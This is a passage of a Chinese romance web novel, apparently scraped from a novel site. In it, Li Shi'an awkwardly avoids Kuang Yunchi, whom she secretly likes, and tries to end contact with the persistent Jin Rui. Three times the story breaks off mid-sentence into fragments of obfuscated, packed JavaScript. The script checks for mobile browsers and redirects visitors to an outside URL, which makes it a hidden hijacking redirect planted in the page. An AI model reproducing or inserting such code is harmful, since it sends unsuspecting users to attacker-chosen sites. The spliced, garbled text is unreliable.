快速整理凌乱的发丝,拿出手机,佯装回消息的模样,脑袋不自觉埋得很低。 况允驰从左边走来,逐渐走到李十安的视线中间。 他们之间隔着密密麻麻停放的两排轿车。 况允驰的身影在黑白灰蓝的轿车之间穿梭。 李十安心虚不安。 她此刻假装没看见况允驰,但万一况允驰看见她了,特意走过来同她打招呼,那怎么办? 想到这副场景,李十安红了脸。 况允驰似乎朝这边侧头了。 李十安一阵慌乱,也没多想,条件反射那般再一次埋下身子,匍匐在驾驶座与副驾驶之间。 她的身体压得太低,其实已经被完全遮挡了,但她仍旧担心被人看见,装出一副捡东西的姿态,伸长手臂在地上翻找空气。 尴尬并且狼狈。 有人敲了两下驾驶座的车窗玻璃。 李十安起了一层鸡皮疙瘩,脊背皮肤紧绷敏感。 真是要命。 李十安硬着头皮,调整表情,矜持地缓慢支撑起来,准备礼貌打一声招呼。“嗨,你也在?” 结果回头发现,敲车窗玻璃的不是况允驰,而是一个陌生姐姐。 松一口气,但她心底又有一丝隐约的失落。 那姐姐手里晃动着一张A4硬纸,“这个会议议程是你掉的吗?” “啊……是。”应该是方才开了一道车门缝隙,不小心滑落出去的。李十安打开车窗,接过硬纸,向姐姐道谢。 余光里,况允驰快要走出停车场了,只留下一个又高又瘦肩宽腰窄的背影。 李十安匆匆撇一眼,心里一团乱麻。 现在连他的背影都不能看了,看了就心慌。 *** 李十安故意拖延时间,临到开场前五分钟,才去会场外签到。 她习惯性走去正门,准备从正门进会场,偏偏碰到况允驰正巧走出门。 搞什么,明明亲眼看见他走进会场的,怎么忽然又走出来了。 李十安立刻转身,朝反方向走了两步。 身后意外传来熟悉的声音,“十安。” 是田凌昕。 老天奶,怎么在这个节骨眼上被田凌昕撞见。 李十安厚着脸皮,假装没听见,继续往前走。 田凌昕以为李十安是真没听见,于是有意加大了音量,再叫一声,“十安!” 迫不得已,李十安只能停下脚步。想转身,却不敢转身,只能转一半。 庆幸田凌昕上前来,走到李十安身边。她问李十安,“你怎么才来?” 李十安解释,“路上堵,耽搁了一会儿,好在能赶上。”她边说着话,边敏捷地转一下眼眸,试图寻找况允驰的身影。 况允驰不知有什么事耽搁,走出了楼栋。 李十安收回视线,和田凌昕一道,随人群走进了会场。 *** 李十安的座位在第六排,况允驰的座位在第三排,两人之间只隔了三列。 会议开始没多久,况允驰回来了,猫腰穿过人群,坐到座位上。 李十安心里清楚,该听领导讲话的,该目视前方的。 可脑袋它自己要倾斜,视线它自己要落到况允驰身上,她控制不住。 她也知道,若是被人一直盯着,况允驰肯定会有所察觉,会发现她在偷看他。 她在理智上自我告诫,别再做这些尴尬的无意义的小举动。 强迫着收回目光。 座位上摆放的是小瓶矿泉水,稍凉,白味。 李十安想喝一口温热的茉莉花茶。 会议的间隙,李十安准备起身去室外茶水间,接一杯热茶。 况允驰也站了起来,与李十安几乎同步。 但况允驰没看见李十安,兀自走出门。 李十安双腿都没能站直,悻悻地坐回原位,喝一口矿泉水,缓解尴尬。 出门就会碰见他吧,太危险了。 他对她而言,太危险了。 李十安固定在座位上,不敢轻易挪动。一方有限的座位成为她的避难所。 一直熬到况允驰回来,李十安才终于松一口气。 比起外出和况允驰面对面碰上,李十安只敢如此这般,在况允驰不知道的情况下,悄悄看着他。 侧颜俊朗,立体流畅。但是眉头微蹙。 况允驰有一下猝不及防地侧头,险些与李十安的视线相撞。 李十安匆忙撇开视线,心脏快要跳出来那般,每跳一下都掷地有声。 拧开瓶盖,连喝两大口矿泉水,艰难咽下,把狂乱的心跳一道浇熄。 暗自长叹一气。 怀念起以前当呆瓜的时候。 那时候李十安还没意识到自己对况允驰的感情,是个单纯的呆瓜,每次见到况允驰,都会欣喜地挥手唤一声,“况!” 无忧无虑,多好。 哪像现在,明明什么都没做,却总有一种做贼心虚的感觉,甚至不敢正面看他一眼。 *** 为了避免和况允驰碰面,会议结束后,李十安特意拖延,确认况允驰离场,才总算从座位上站起来,慢慢向外走去。 然而天意弄人。 分明按时间计算的话,况允驰理论上应该已经走出大楼了,可不知被什么事情耽搁了一下,竟然才进电梯。 李十安原本小跑两步去赶电梯,察觉到况允驰正随其他人一道站在电梯里。 她在一瞬间停下脚步,脑海乱麻,演出忘了拿东西的样子,折返回到会议室。 会议室里,工作人员都开始收拾会场资料了。 李十安躲在门边,刷手机,刷了十分钟。 这么久,他总该下楼了吧? 李十安心有余悸,甚至不敢再坐电梯,索性选择步行下楼。 平时上下二楼都要坐电梯的懒鬼,此刻面对八楼,说走就走。 她走得慢悠悠。双脚在楼梯间机械地走着,大脑思绪漂浮,心不在焉。 直到到达一楼的楼梯转角,看见楼梯脚下站着的况允驰,李十安混沌的思绪才被刹那打破。 她愣在原地。 第一反应是要往后撤退。 但在这狭小局促的楼梯间里,在呼吸都能听到声音的寂静中,忽然转身就走,这动静会不会太大太夸张了? 可能会越弄越尴尬。进退两难,别无办法。 李十安右手扶着扶梯,左手在空中小幅度地挥了挥,“嗨,好巧。” 况允驰微昂头。下午阳光投射在他身上,半明半暗,凌厉深邃。他问她。 “躲我?” 李十安干笑两声,“说什么呢,怎么可能。” 她矜持淑女地走下楼梯,走过况允驰身边,径直走出楼梯间。 心里祈求的是,走快一点就不会被况允驰找到了。 事实是,况允驰两步便能轻易跟上。 他和她并排走在小路上,银杏树叶在天空中织成浓郁的蜿蜒小溪流。 况允驰问李十安,“生我气?” 李十安略惊讶,“怎么可能?” “那……” 况允驰话没说完整,但李十安明白况允驰指的是什么。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740450|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她这段时间总是躲着他,过于明显,他肯定会察觉出不对劲。 可这种情况,要她怎么解释? 说她控制不住自己,对他有了那种心思? 说她原本认定的朋友感情逐渐变质? 说她看向他的眼神,已经不再清白了? 说她想要和他…… 说不得,一个字也说不得。 李十安试图解释,“我们是好朋友,我怎么可能生你气?” 说完就后悔了。此地无银三百两,干嘛还非得强调她和他是好朋友这种事情。 况允驰低声道,“可你最近不对劲。” 李十安心虚地辩驳,“哪有。” 况允驰看向李十安,“有什么想法可以直接……” “没有!” 李十安红了脸。她知道他在看她,心跳频率直线升高,紧张无措。 心里渴望她的脸红不要被他看出来,可越这么想着,脸就越不争气地更红一层,无法隐藏。 糟糕透顶。 她这些日子一直处于混沌慌乱的状态,根本还没想好,到底该用什么样的姿态来面对他。 况允驰识趣地收回目光,继续走着,不再说话。 现在看来还是谨慎为主,怕多说多错。 白色蝴蝶低空飞过,震动双翅,绕过他们身旁,向黄花风铃木枝头飞去。 他们真的没人再开口,光是沉默走路,安静得能听见微风吹拂。 李十安感觉更尴尬了,气氛局促得快叫她沉溺。 她轻声嘀咕,“怎么忽然不说话了。” 况允驰于是开口,“我惹你不高兴了?” 李十安方才被微风吹冷却一些的脸,随即再一次变得红润。 他简直叫她抓狂。 “……还是别说话了吧。”李十安嘟囔着,转身走了岔路,丢下况允驰,独自远去。 *** 在没把一切理出头绪之前,李十安采取的措施,仍旧是努力躲避况允驰。 逃避可耻但有用。 李十安按照安排,去景和制药找霍溢,对接DNA文库构建的事情。 对接过程很顺利。 临近中午,李十安懒得回公司折腾,索性去景和制药的食堂吃中午饭。 她特意挑选一个角落里的位置坐下,一边吃饭一边看滴血认亲名场面,惬意自在。 伸手舀一勺番茄鸡蛋汤时,李十安似乎看见了况允驰的身影。 由于不是很确定,李十安稍侧头,透过人来人往的缝隙,认真看一眼那个身影。 真的是况允驰。 离她的座位不过五米远。 李十安迅速低下头,一口米饭咽下去变得噎人。 其实早有预料到这种情况,不是吗? 分明回公司吃午饭,也不是什么麻烦事,走几步路而已。 自我暗示是因为嫌麻烦才留在这里吃午饭的,真的是因为嫌麻烦吗? 难道潜意识里,不是因为在这里吃饭就有机会遇见况允驰,才决定留下来的吗? 李十安红了耳廓。 这种矛盾心情此刻尤为明显,又想碰见他,又害怕碰见他。 李十安拿起勺子,几口咽下饭和菜,喝完大半碗汤,匆匆解决一顿午饭。 她端起餐盘,走到餐桌边。这样离况允驰就更近了一点。 有了一刹那的念头。要不去找他吧,以老友的身份,像之前那样,礼貌地打一声招呼。其他的多余的话,什么也不说。 她保证不越界。 思索再三,李十安向况允驰迈出了一步。 可一个女生忽然坐到了况允驰的对面,那背影好像是孔心薇。 李十安才迈出的一步被敏捷收回。 她立马转过身,向和况允驰完全相反的方向逐渐走远。 不能这样做,李十安告诫自己,不能做出不道德的事情。 要记住,他有女朋友的。 44. 咖啡 虽然对于况允驰的感情还没整理清楚,但对于靳瑞,李十安确定,她是真的觉得越来越没劲了。 靳瑞打电话给李十安,发出邀请,“待会儿有一个开放式体部伽马刀的产品发布会,你和我一起去。” 李十安想也没想就拒绝,“不去。” 她已经陪靳瑞参加过好几次发布会了。发布会本质上也是一种会议。 上班期间本就会参加各种各样大大小小的会议,李十安不想美妙的周末,还得参加无意义的会议。 更何况这种会议和她本身毫无关系。 靳瑞没想到李十安会拒绝,反应了片刻。 他转换一种说法,“会后有晚宴,晚宴上特意为你安排了一道奶油鹅肝球。” 试图用美食来诱惑李十安。往常这一招惯有用。 李十安心里暗自嘀咕,“他该不会以为我真的喜欢吃鹅肝球吧?” 上一次吃饭,餐桌上尽是兔耳、羊肾、乌贼,做出的味道极其诡异,腥得李十安快吐了,都没怎么敢动筷。 剩下一道奶油鹅肝球,鹅肝很少,再经过油炸,相对而言能够吃下去,李十安才多吃了几个,不然她得饿一晚上。 只是充饥而已,哪里称得上喜欢。 李十安坦白告诉靳瑞,“我不是那么喜欢鹅肝球。” “那就吃别的,你喜欢的都给你安排。” “我什么都不想吃。”李十安窝进沙发里,打哈欠。明明睡到接近十二点才起,怎么吃过午饭没多久,她就又困了。 她蜷缩一团,闭上眼睛,“就这样吧,我还有事。” 李十安的事就是睡觉。 什么发布会,简直是在浪费她睡觉的时间。 她拒绝得干脆,心里没怎么在意这件事。 晚些时候,外卖员给李十安送来了一份外卖。 李十安一脸疑惑,“我没点外卖呐?” 话音刚落,李十安收到靳瑞发来的消息:[外卖收到了吗?好好吃饭。] 李十安打开袋子,里面装着羊排、土豆、沙拉。应该是晚宴上的菜肴。 她其实吃过晚饭了,并且吃得很饱。 可面对这一些精致的食物,觉得不吃浪费,只好硬着头皮塞下。 估算好食物的价格,李十安给靳瑞转账,算作一场买卖。 靳瑞没收。 只要不收,这就不是买卖,而是男女交情。 *** 靳瑞仍旧会向李十安发出邀约。 他给李十安打电话,“有一个冥想沙龙,给你留了门票,按时来。” 李十安拒绝道,“不来了。” 她用不着冥想,她只用睡觉就行。 再说靳瑞带她参加的这一类沙龙,包括冥想沙龙、心理沙龙等等,都并不是纯粹的主题活动,而是带着极其浓郁的社交氛围。 靳瑞与他商业来往人群的社交,这和李十安完全没有关系。 参加一两次,觉得新奇。 参加三四次,觉得是一群人借冥想心理的名义搞社交。 宁愿独自一人待在家里,吃饭睡觉打游戏,颓废过日却开心。 李十安拒绝了靳瑞。但有一种第六感,事情没那么容易结束。 果不其然,靳瑞又差人送来了外卖。 李十安这次学聪明了,假装不在家,借口不开门。 她在电话里让外卖员把外卖给退回去,“原路退回,跑腿费我转给你。” 外卖员虽然支支吾吾,但勉强答应了李十安。 李十安还以为这事就这样翻篇。 晚些时候,李十安开门扔垃圾,发现外卖规规矩矩挂在密码锁上。 这个靳瑞,强行赠送么? 李十安拿着外卖,收下觉得别扭,丢掉觉得浪费,再退回去觉得矫情,四面为难。 迫不得已,她只能收下,并像上次那样给靳瑞转账。 靳瑞只当没看见。 *** 李十安去了一趟广州出差,协助那边分公司PCR实验室的一个项目,为期一个礼拜。 回青山的前一晚,靳瑞联系李十安,“明天下午两点半的飞机对吧?我来机场接你。” 李十安暗自嘀咕,这个人真是万能,把她的行踪摸得一清二楚。 难不成他在他们景和检验安插了不止一个眼线? 她拒绝,“不用麻烦,我打车回家,很方便的。” 靳瑞笑道,“跟我还这么客气?” 李十安心想,她这不是客气,是实话实说。 靳瑞又道,“很久没见面了,正好在回来路上,可以聊一聊。” 李十安犹豫片刻。说起来,她也确实有好些话想对靳瑞坦白,择日不如撞日,趁这个机会,把话一次性说明白也好。 她答应了靳瑞,并把详细的航班信息截图发送过去。 第二天下午,李十安给靳瑞发消息:[马上起飞,大概五点到。] 发完消息,李十安按照习惯开启飞行模式,调整座椅,闭目睡觉。 睡醒后,飞机已平稳降落,正在滑行。待到滑行停止,李十安打开了手机。 靳瑞半小时前发来消息:[我这边会议延迟,会晚到二十分钟,你在机场等我。] 既然对方迟到,那这边也不用着急。李十安的动作变得缓慢悠闲。 解安全扣,坐着等待下机,过通道,取行李。一切程序慢条斯理,秩序井然。 走到到达大厅,时间恰巧是二十分钟。 李十安环顾四周,不见靳瑞的身影。她走出大厅,走到车道旁,仍不见靳瑞。 她准备给靳瑞打电话,靳瑞的消息同时发送过来:[会议还没结束,我尽快赶来,再等二十分钟。] 李十安起了疑心。 先不说靳瑞还在开会,就算靳瑞立即结束会议,从公司赶来,经高速到达机场,怎么也得四十分钟。 但或许靳瑞不在公司开会,而是在附近? 二十分钟赶到机场,也不是不可能。 这样想着,李十安找到一个靠墙的角落,跨坐在行李箱上,百无聊赖玩手机。 小白鞋鞋跟点地,前后小幅度滑动行李箱,摇晃着打发时间。 等了二十分钟,没等见靳瑞的人和消息,李十安决定再多等一阵。 等了半个小时,李十安浑身难受,忍不住打去电话。 只响一声,靳瑞利落地挂断了电话:[正在开会,稍后联系。] 李十安站起来,回复靳瑞:[你忙吧,我这边打车回去,很方便的。] 靳瑞:[十安别急,我派人来接你。] 李十安:[不用麻烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756190|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。] 靳瑞:[小马已经来了,大概十分钟到。] 李十安认识小马,他是个很年轻的小男生,待人礼貌和善,总是笑脸相迎。 如果现在打车走,李十安等于是耍小马,让小马白跑一趟。 她过意不去。 无奈之下,她坐回行李箱上,继续等待。 等了二十分钟,小马依旧没来。 李十安坐不住了。 她早该想到的,靳瑞的时间和平常人的不一样。 他的十分钟,是平常人的二十分钟。他的二十分钟,是平常人的一个小时。 她就不该相信他的。 李十安点开打车软件。正准备下单,小马驾驶帕拉梅拉停靠在路边,“十安姐,抱歉久等。” 小马一如既往地亲切友善,替李十安放置行李,打开车门,打开咖啡盖子。 李十安喝一口咖啡,心里不是滋味。 若不是为了和靳瑞当面坦白心里话,她哪里费得着白白浪费这么些时间。 这些时间,都够她打车回家,甚至洗漱完毕躺在床上了。 她有了一瞬间再也不想和靳瑞见面的念头。 点开手机,点出和靳瑞的对话框。 李十安:[我今天等你这么久,其实是想和你见一面,说一下我的想法。我觉得我们可能并不合适,没必要再浪费时间继续接触。] 靳瑞:[小十安生气了?] 李十安面对靳瑞给出的“小十安”这个称呼,不由得全身不自在。 李十安:[我没生气,我说的都是心里话。] 靳瑞:[不好意思,今天太忙了没来得及亲自接你,下次保证不会。] 李十安哪里还想有下次。 李十安:[我的意思是,既然有缘相识,我们可以当普通朋友。你把我当一个朋友就好,不用费心来接我。] 靳瑞:[别赌气,听话。] 李十安一头雾水。谁赌气了?又要听谁的话? 他们明明没有在一起的,仅仅处于互相了解的阶段。 怎么还没确定关系,他就用一种男朋友的口气对她说话? 她直接给靳瑞打电话。 靳瑞还在开会,像刚才那样,掐断了李十安的来电。李十安的神情逐渐变得严肃。 李十安:[没开玩笑,我是认真的,我们别再接触了。] 靳瑞:[乖,等我这边忙完,马上去你家找你。] 他知道李十安家的地址。 上次他去海南出差,要给李十安寄一箱芒果,李十安嫌懒得搬运,直接把家住几单元几楼几号发给了靳瑞,让快递员送货上门,详细得不能再详细。 为了一箱芒果,出卖自家地址,李十安后悔得肠子痛。 待会儿靳瑞来找李十安,李十安可怎么办? 开门是不可能开门的。 那就一直假装不在家?让门铃和电话一直响?担惊受怕一整晚? 她现在是精疲力尽的状态,真的不愿再面对这一切了。 返回退出,再点出和许书妍的对话框。 李十安:[书,我去你家住几天。] 许书妍:[没问题。] 许书妍:[为啥?] 李十安给许书妍回复了两个字。 [逃命。] 45. 豆花 李十安借口许书妍生病需要人照顾,躲到许书妍家里快一个礼拜,尽量不见靳瑞。 靳瑞那段时间也忙,联系了李十安一两天,之后再没有讯息。 倒是因此度过了一段安心日子。 晚上,李十安动作缓慢悠闲,洗漱完爬上床时,许书妍已经躲在被窝里,玩了好一段时间的手机。 许书妍滑过手机屏幕,察觉有趣,倒着滑回来,点开照片放大来看,“这孔心薇去了温哥华,连头发都变成金色了。” 李十安愣了下,“孔心薇?” “啊……啊。” 许书妍只是一句随意嘀咕,被李十安这么一反问,反倒变得支支吾吾。 李十安翻过身,蚕蛹一样挪到许书妍身边。 “这是她朋友圈?”李十安有些惊讶,“你怎么有她朋友圈?” “上次搞多糖疫苗的研发合作,我和她分在一个小组,顺手加了好友。” “喔……” 李十安摘下许书妍的手机,点开孔心薇的主页,开始一条条挨着看孔心薇的朋友圈。 孔心薇发朋友圈的频率还算高,基本一天一条,有时一天三四条。 朋友圈的内容都是日常。去餐厅用餐,去咖啡馆小憩,参加好友聚会,在教堂前喂白鸽。每一张都笑意盈盈,满面阳光。 李十安看得仔细。屏幕微光映在她脸颊上,映出她专注认真的神情。 一直滑到页面底部,直至显示一条灰线,以及一句提示,[朋友仅展示最近一个月的朋友圈]。 怎么才展示一个月。李十安仍在动手指网上滑,边滑边嘟囔,“怎么就没了?” 许书妍哭笑不得,“你老盯着她看什么。” “喔……我就随便看看。” 李十安嘴上说着随便,实际行动一点也不随便。 她滑回页面最顶端,翻出第一条朋友圈。那是孔心薇的自拍九宫格。金头发,高挑眉,美黑皮肤,自信明媚。截然不同的西方妆容风格。 李十安问,“她去温哥华干什么?” 许书妍答,“休假吧?或者出差?不知道,我跟她只是互相能看见朋友圈的关系。” “喔——”李十安应和许书妍,手上仍旧认真地一张张翻看孔心薇的照片,心无旁骛。 许书妍第六感察觉到不对劲,拽住李十安的手腕,严肃质问,“老实交代,你为什么这么关注孔心薇?” 李十安提起一口气,随后又泄气,没精打采地嘀咕,“还不是因为况允驰……” “况允驰怎么了?”许书妍隐约有种预感,“况允驰和孔心薇有什么关系?” 李十安压低声音,“就……他们好像在一起了。” 许书妍惊讶道,“真的假的?你怎么知道?” “我……看到的。他们那种行为举止……就像情侣。”李十安说得支支吾吾。 尤其是看到机场那一幕,她贴在他耳边低声说话。 至于之后有没有更进一步的亲密接触,李十安没有看下去,也不敢看下去。 “他们本来就是朋友以上恋人未满的关系,最终走到一起……也正常。”李十安说这话,似乎说得没了力气。 许书妍思考这段关系,“你说的……也没毛病。” 说是没毛病,但第六感作祟,许书妍总觉得其中有蹊跷。得找个人核实一下。 *** 多糖疫苗的合作研发项目停滞了一段时间,最近重新启动。 孔心薇离职,景和制药派出另一个人接替孔心薇的位置,那人恰巧是周森。 小组会议,许书妍特意挨着周森,一齐坐在会议室靠后的位置。 两人开会都是一样的状态,耳朵在听,脑袋在走神。 许书妍悄悄把手机压在笔记本旁,给周森发微信。 许书妍:[况允驰和孔心薇确定关系了?] 周森的手机屏幕上,显示出有一条来自许书妍的微信。他满头雾水。分明许书妍就坐在他身边,怎么用得着发微信? 许书妍用眼神示意,让周森看微信。周森这才仔细阅读微信内容,惊得瞪大眼睛。 周森:[啊?你听谁说的?] 许书妍:[十安说的。你没听说?] 周森:[听说过。] 许书妍:[听谁说的?] 周森:[你,刚刚听你说的。] 许书妍放下手机,朝周森翻白眼。她冒着开会出小差被抓的风险给周森发微信,不是为了陪周森说这一段冷得打颤的绕口令。 这回换作周森朝许书妍使眼色,示意许书妍看消息。 周森:[我是他俩最好的朋友,他俩要真在一起了,肯定会向我汇报的。] 许书妍:[你好大个官,个人私事还得向你汇报?]她打下这行字的时候,嘴角下撇,满眼不屑。 周森:[这种大事都不跟我说,那也太不够意思了吧?] 许书妍:[也有可能他俩刚在一起,还不好意思对外公开,所以谁都没说。] 周森:[那倒也是。] 许书妍:[要不你委婉地打听一下?] 她用脚尖撞周森的脚踝,对他挑眉,怂恿他。周森在会议桌下比划出OK的手势。 周森想问况允驰,但是感觉况允驰那边难度系数有点大。他于是转头问孔心薇,点开对话框。 周森:[心薇,你和允驰确定关系了?] 孔心薇估计是时差的关系,隔了好一阵才给出回复:[你猜。(狗头)] 周森:[真的???] 孔心薇:[你问这个干嘛?(傲娇)] 周森:[关心你呀。] 孔心薇:[你还是多关心关心你自己吧。(偷笑)] 周森盯着他和孔心薇的对话,恍惚间感觉自己中文不好。字都认识,但连在一起就不知道到底在表达什么。 他把对话截图发送给许书妍。 周森:[这是什么意思?承认是在一起了?] 许书妍:[是就是,不是就不是,什么叫“你猜”?] 周森:[我晕了,到底是不是一起了?] 许书妍:[好像是吧,又好像不是。] 周森:[到底是还是不是?] 许书妍:[问我???你俩就不能说人话,非得打太极???] 周森想要辩解,“不是我……” 声音从嘴唇缝隙里钻出来,周森惊觉他犯了错,竟在会议途中莫名出声,说的还是与会议完全无关的内容。 他急忙咳嗽两声掩饰尴尬,糊弄过去。 会议室里其他人只是往这边望一眼,随后继续方才谈论的话题。 周森调整姿势。辩解的话咽回肚子里,毕竟比起辩解来,现在更重要的是弄清况允驰和孔心薇的关系。 他给许书妍发消息。 周森:[散会后吃饭,叫上十安,我们仨一起。] *** 许书妍叫李十安一起吃饭,李十安本来答应了。但许书妍随口说是周森组的局,李十安又立即变得警惕。 “还有哪些人?”李十安询问,“况允驰也在?” 许书妍当时信誓旦旦,“不在,周森说的,就我们仨。” 李十安松一口气。 结果到了餐厅,她们才发现情况完全不一样。 当时,他们三个人围坐在一张小方桌旁。豆花烤鱼已上桌。 李十安从筷套中抽出筷子。找寻垃圾桶仍筷套时,她意外看见卡座另一头,况允驰正走过来。 似乎是径直走向他们这一桌。 她心跳加快。 她微张双唇,从唇缝里挤出对许书妍的质问,“不是说况允驰不来吗?” 许书妍同样微瞪眼,压低声音质问周森,“不是说就我们仨吗?” 周森一脸无辜,“我说过吗?” “你……” “唉没事,来就来呗,又不是不认识。”周森劝慰,“况且解铃还需系铃人,当事人的事还得当事人才最清楚。” 李十安听不明白,“什么当事人?” “就是……”许书妍还没来得及告诉李十安,她和周森刚才开会,用手机传了一下午纸条,全是关于况允驰和孔心薇的朦胧关系。 本来要说的,但况允驰已经走近了,坐在桌边唯一剩下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李十安下意识伸手去抓,却什么也没能抓住,除了一把空气。 况允驰直视李十安。他佯装严肃,“李十安,过分了啊。” 李十安慌乱解释,“对不起,我在造谣。” 她大脑一片空白,实在想不出更合适的解释的语言,只想逃避。 她借着捡筷子的由头,准备弯腰,逃避哪怕三五秒钟。 刚有行动,况允驰护住了李十安的小手臂,拦截李十安。 他弯腰,替她捡起筷子,放在一旁。再去一侧的靠墙木柜抽屉里,取出一双新筷子,递给她。 她耳朵红了一圈。 她瓮声瓮气,“谢谢。” 他轻声回应,“没事。” 许书妍和周森仍在火热闲聊。 “我就说,这种事情不可能不向我汇报。” “是,周领导,不向您汇报,那怎么行呢?” “小许,话也不能这么说。” “你管谁叫小许?” 他们叽喳吵闹的声音,倒帮忙掩饰了李十安的尴尬。 况允驰夹了一块鱼腹的嫩鱼肉,顺手放到李十安碗里。又随意夹一块鱼肉,自顾自品尝,像没事发生一样。 李十安咬一口烤鱼,细嚼慢咽。 明明是同一条鱼,和刚才比起来,却是完全不同的味道。 *** 饭后散场,李十安独自前往车库取车。她的脚步轻快,走着走着,竟蹦了两下。 许书妍问道,“你蹦什么?” 李十安被吓得不轻,险些惊叫出声。她质问许书妍,“你从哪里冒出来的?” “我充电器忘了拿,回来取。”许书妍重复问道,“你刚刚蹦什么?” 李十安反驳,“谁蹦了?你才蹦。” 她故意拉着脸,避免被许书妍看穿她那不可言说的小心思。 46. 粉雾 李十安还以为,她对待况允驰的态度会有所改善。 周五晚上,李十安和许书妍心血来潮,去江畔路吃烧烤。 临近几桌都是三五成群,喝酒撸串闹哄哄。 反观她们,就两个人,大眼瞪小眼,对比而言显得冷清。 许书妍决定打电话摇人。 她给周森打电话,“出来吃烧烤。” 周森答应得痛快,“五分钟就到。” 许书妍挂断电话,拿起一串掌中宝吃得津津有味,完全没有要再摇人的意思。 李十安喝一口可乐,偷瞄许书妍的反应。她试探道,“你就只叫周森?” 许书妍吸溜一根韭菜,“还叫了高西,但是她有事来不了。” “喔……”李十安拖长尾音,“那其他人呢?就……况允驰呢?” 她语速很快,故意把“况允驰”三个字快速念出口,营造出一种云淡风轻的感觉。 许书妍咀嚼掌中宝,若有所思,“说实话,我从没约过况允驰,因为我觉得看他那不近人情的样,大概率会被拒绝。” 李十安立即附和,“嗯呐,我也是,从没约过他。” 许书妍开玩笑,“前夫前妻,还会被拒绝?” 李十安正色道,“什么前夫前妻……就是普通朋友。” 许书妍拿起一根猪鼻筋,塞进嘴里,“每次都是周森把他带来的,要不让周森去邀请?” 李十安赞成,“好。” 许书妍给周森发消息,让周森顺带捎上况允驰。 周森起初答应得挺好。 结果到达现场后,她们发现周森仍然是独自一人。 李十安的目光在周森身后找了找,什么也没有。 许书妍问道,“况允驰呢?” 周森坐到桌边,“他加班呢,还在公司。” “周五晚上还加班?”李十安听到“加班”这个词,头都大了。 “不止,明天也得加班。” 周森拿两串五花肉,一口咬下。这家烧烤的味道出乎意料的好,周森感觉发现了宝藏。 他提议,随手扫码下单,“给允驰带一点去,当夜宵。等我们这边吃完,新下单这一波正好能烤好。” 许书妍无所谓,“行呗。” 李十安假装无所谓,“行呗。” 但是一想起马上要见到况允驰,李十安心里竟有些许的紧张。 *** 他们一道去往园区外。到达时,况允驰早已等候在楼下。 周森脚步最轻快,走在前头。许书妍步伐不快不慢。李十安的双腿不听使唤,走不动道似的。 明明想靠近,但总有一种做贼心虚的感觉,类似于在熟人面前出糗的尴尬。 不知道到底该怎么面对他。 但理智告诉李十安不能拖后腿,她必须要努力跟上其他两个人,不至于掉队得太明显。 周森把烧烤袋子递给况允驰,“知道你不挑食,每样都给你搞了一些。” 况允驰打开烧烤保温袋,拨动几下竹签。份量确实多。他问周森,“你分一点去。鱿鱼?” 周森打了一个饱嗝,“我撑得不行了。” 况允驰再看向右边。 夜风吹起,李十安轻微地打了个冷颤。她不敢正视况允驰,心跳更快了。她借着躲风的契机,稍微侧身。 况允驰问许书妍,“吃鸡腿?鸡腿给女生吃。”他分出的是两只鸡腿的竹签。 许书妍拒绝得干脆,“我也撑得不行。你就自己吃吧,客气什么?” 况允驰犹豫片刻,“行,谢谢。” 他收起了保温袋。 李十安心里像被人敲了一记钟,钟声沉闷,震耳欲聋。 这……就结束了吗? 他就不问她,要吃点什么吗? 按照从左到右的顺序,周森,许书妍,过了就该是她了呀。 他问了其他所有人,唯独不问她吗? 李十安的心一下沉入海底,整个人显得懵懂无神。 她甚至抱有一丝侥幸,以为到了最后,他好歹会问她一句。 结果他什么也没问。 他们就这样干净利落地结束了对话,告别。 回家路上,周森开车,许书妍和李十安坐后排。 周森心情好。当然周森每天心情都很好。 虽然刚刚才分别,但周森仍旧给况允驰打了个电话,“怎么样,我就说那烧烤绝了吧?和你做的有得一拼。特别那烤鱿鱼,哎哟喂真劲道。还有黑五花,那是我们仨公认的好吃,你一定要尝一尝。” 电话那头想起翻找塑料袋的声音,随后况允驰问,“有黑五花?” “喔——”许书妍想起来了,“不好意思,我给吃了。” 周森翻白眼,“给你烤的吗你就吃?” 他们交谈的声音挺清晰。不难猜测出来,应该是周森开车,连接车载蓝牙,免提。 况允驰回复,“吃了鱿鱼,可以。” 李十安听见了况允驰的声音,心里堵了一口气。 周森继续问,“其他的也好吃。你吃了吗?你不会分给别人吃了吧?可不行啊,那是我特意给你送的,你只能自己吃,知道不?” “在吃。”况允驰说,“谢谢,麻烦你们特意跑一趟。” 周森笑道,“谢什么?你这样说可就生分了啊。我们什么关系,你怎么能说谢谢?以后不许说了。” “好。”况允驰问,“到家了吗?” 周森答复,“还没呢,不过也快了。你也不要太敬业了,该溜就溜懂不懂?” “好。”况允驰嘱咐,“这段时间晚上温度低,注意保暖。” 周森夸张地回应,“我都热出汗了,暖得很。” 况允驰顿了下,说道,“回家后早点休息。” 周森笑着,“明白。” 许书妍越听这段对话越感到奇怪。在她看来,况允驰一直是一个冷淡漠然的存在,和人说话语气充满距离感。 今天这副模样,倒是少见。 等挂断电话,许书妍打趣,“况允驰对你竟然这么温柔?” 